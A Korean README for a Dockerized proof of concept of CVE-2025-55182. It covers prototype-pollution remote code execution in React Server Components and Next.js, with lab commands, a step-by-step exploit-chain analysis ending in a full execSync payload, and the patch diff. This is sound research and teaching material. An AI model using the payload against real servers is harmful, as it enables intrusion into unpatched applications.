
CVE-2025-55182에 대한 Docker 기반 개념 증명(PoC)입니다. React Server Components에서 프로토타입 오염(prototype pollution)을 통한 치명적인 원격 코드 실행(RCE) 취약점이며, 자동화된 익스플로잇 스크립트와 취약한 Next.js 테스트 환경이 포함되어 있습니다.
이 저장소는 React 서버 컴포넌트(RSC)에서 발생하는 심각한 원격 코드 실행(RCE) 취약점인 CVE-2025-55182에 대한 Docker화된 개념 증명을 포함합니다. 이 취약점은 Server Actions를 사용하는 Next.js 애플리케이션에 영향을 미칩니다.
원본 개념 증명과 취약점 분석은 msanft가 작성했습니다. 이 저장소는 테스트와 시연을 더 쉽게 하기 위해 Docker화된 테스트 환경을 제공하여 해당 작업을 확장합니다.
requests 라이브러리 (pip install requests)취약한 Next.js 서버 시작:
docker compose up --build -d
서버가 시작될 때까지 기다림 (docker compose logs -f nextjs-server 로 로그 확인)
익스플로잇 실행:
# 자동화된 스크립트 (권장)
./exploit-docker.sh
# 또는 수동으로
ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
익스플로잇이 작동했는지 확인:
docker compose exec nextjs-server ls -la /tmp/rce_test
# 파일 생성
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
# 파일에 쓰기
python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"
# 현재 사용자 확인
python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"
# 결과 확인
docker compose exec nextjs-server cat /tmp/rce_output
docker compose exec nextjs-server cat /tmp/rce_user
nextjs 사용자(UID 1001)로 실행됩니다이 저장소는 취약점 테스트를 위한 완전한 Docker 설정을 포함합니다:
docker-compose.yml - Docker Compose 설정test-server/ - 취약한 Next.js 애플리케이션test-server/Dockerfile - 프로덕션 Dockerfiletest-server/Dockerfile.dev - 개발용 Dockerfile (선택 사항)취약한 서버는 간단한 Server Action을 가진 Next.js 16.0.6을 실행하며, 이를 익스플로잇할 수 있습니다.
poc.py - Python 개념 증명 스크립트 (msanft의 원본, 따옴표 이스케이프 수정 포함)exploit-docker.sh - Docker 환경용 자동 익스플로잇 스크립트DOCKER_SETUP.md - 포괄적인 Docker 설정 문서# 컨테이너 중지
docker compose down
# 모든 항목 제거 (볼륨 포함)
docker compose down -v
원본 연구의 상세한 취약점 분석, 익스플로잇 체인 및 패치 정보는 아래에 제공됩니다.
이 취약점은 Next.js가 안전하지 않은 프로토타입 참조를 통해 제공하는 React Server Functions에서 RCE를 허용합니다.
저는 React나 Next.js 전문가가 아니므로, 여기 있는 모든 정보는 약간의 오해의 소지가 있습니다. 또한 아직 분석 과정 중에 있으므로, 아래에서 "취약점"으로 설명하는 것은 전체 체인의 일부일 수 있습니다.
React는 Server Functions1을 제공합니다. 이는 일종의 HTTP 기반 RPC(Remote Procedure Call)로 볼 수 있습니다. 이를 사용하여 지연 시간을 최소화하기 위해 인접 피어로부터 데이터를 가져오거나, 클라이언트에 자격 증명이 없는 인증된 요청을 수행할 수 있습니다.
React는 Server Functions에 전달되는 값의 직렬화를 위해 React Flight Protocol2이라는 것을 사용합니다.
클라이언트는 예를 들어 폼 데이터를 통해 "chunk"를 서버에 전달합니다:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
보시다시피, 이들은 서로 간에 참조를 가질 수 있습니다. 위의 페이로드는 서버에서 다음과 같이 역직렬화됩니다:
{ object: 'fruit', name: 'cherry' }
형식 자체는 좀 더 복잡하며 더 복잡한 직렬화 및 역직렬화를 허용하지만, 이는 실제 취약점에 대한 기본적인 이해를 제공합니다.
이 커밋3까지는, 참조 해결 과정에서 chunk를 탐색할 때(예: 위 예제에서 chunk 2로부터 fruitName을 가져오는 경우), React는 요청된 키가 실제로 객체에 설정되어 있는지 확인하지 않았습니다. 이로 인해 객체 프로토타입4에 접근할 수 있었습니다.
이는 다음과 같은 페이로드로 시연할 수 있습니다:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
이는 함수 생성자5로 역직렬화됩니다:
[Function: Function]
ID가 0인 chunk가 배열이 아니라 객체인 경우, then 키를 함수 생성자로 설정할 수 있습니다. 그런 다음 객체는 decodeReplyFromBusboy 함수에 의해 반환되고 Next.js에 의해 await됩니다:
// action-handler.ts:888 (패치 전)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
이것이 thenable을 반환하면, 호출자에서 await가 이를 호출합니다. 이것이 다음 페이로드로 발생하는 일입니다:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
다음과 같은 오류가 발생합니다:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
V8이 await된 함수를 내부 resolve 및 reject 함수와 함께 호출하고, 이를 toString하면 다음과 같이 직렬화되기 때문에 오류가 이렇게 나타납니다:
function () { [native code] }
Function 생성자를 쉽게 얻을 수 있으므로, 직관적인 방법은 생성자를 사용자 제어 값(즉, 함수 코드를 문자열로)으로 호출하고, 이후 반환된 함수를 호출하는 호출 가젯(call gadget)을 찾는 것입니다.
함수 생성자를 호출할 수 있는 여러 위치가 있습니다. 예를 들어 resolveServerReference에서 id는 제어된 객체이고, lastIndexOf는 사용자 제어 문자열을 반환하도록 덮어쓸 수 있으며(예: Array.prototype.join을 통해), slice는 함수 생성자로 덮어쓸 수 있습니다. 그러나 이 위치는 .slice()의 두 번째 호출이 첫 번째 인수로 숫자를 제공하기 때문에 작동하지 않습니다. 이는 제가 아는 한 함수 생성자가 처리할 수 없습니다.
여기서 maple31426의 훌륭한 아이디어가 등장합니다. getChunk가 ID 0의 chunk를 참조 체인 해결을 시작하는 루트 참조로 가져올 때, 바로 이 동일한 chunk가 조작된 "가짜 chunk"로 해석될 수 있습니다.
우리는 $@ 구문을 사용하여 chunk 1에서 조작된 chunk 0을 참조할 수 있습니다. 이는 "원시" chunk를 반환하며, 해결된 값이 아닙니다:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
위의 then 덮어쓰기와 결합하여 다음과 같은 것을 만들 수 있습니다:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
여기서 chunk 0은 자신의 .then()을 자신의 원시 chunk 표현의 .then()으로 덮어씁니다. 간단히 말해, 우리는 자신의 .then()을 Chunk.prototype.then으로 덮어씁니다. 이는 존재하는데, Chunk가 thenable이기 때문입니다:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
위의 페이로드로 Chunk.prototype.then은 결국 ID 0의 조작된 chunk와 함께 호출됩니다.
위에서 보듯이, 가짜 chunk의 .status가 resolved_model인 경우:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
initializeModelChunk로 들어갑니다. 여기서 .value는 JSON으로 파싱된 다음, 반환된 객체에 대해 참조가 해결되며, ID 0과 1의 chunk "외부" 컨텍스트를 사용합니다:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
이 내부에서, 우리는 이제 외부 컨텍스트가 이미 해결되었기 때문에 액세스할 수 있는 값이 조금 더 있는 두 번째 평가 패스를 얻습니다.
Flight 프로토콜에서 $B 접두사를 가진 blob 데이터 처리에 호출 가젯이 있습니다:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
특수 _response 필드를 사용하여, 우리는 조작된 chunk의 response 속성을 제어합니다:
// initializeModelChunk 내에서
value = reviveModel(chunk._response, // ...
이를 통해 가짜 ._formData 및 ._prefix 속성을 가진 객체를 만들 수 있습니다:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
.reason은 initializeModelChunk에서 toString 호출이 실패하는 것을 방지하기 위해 추가해야 합니다:
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
._formData를 함수 생성자로, ._prefix를 우리 코드로 지정함으로써, blob 역직렬화에서 함수 생성자를 위한 호출 가젯을 얻습니다:
response._formData.get(response._prefix + "0")
// 다음이 됨
Function("return foo; // 0")
우리가 만든 함수는 조작된 chunk의 .then() 메서드로 반환되며, 이 또한 await됩니다. 왜냐하면 이 모든 것이 단일 프로미스 해결 체인 내에서 발생하기 때문입니다. 따라서 thenable을 반환하면, 우리가 만든 함수가 호출됩니다. 이것이 위에서 언급된 필요한 호출 가젯을 구성합니다.
이 모든 것을 실제 RCE 페이로드와 결합하면 다음과 같은 것을 얻습니다:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
# "reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
chunk 참조를 사용하여 프로토타입 속성을 검색하는 문제는 다음 확인으로 수정되었습니다:
@@ -78,7 +80,10 @@ export function preloadModule<T>(
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/x.com/maple3142%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components%3E ↩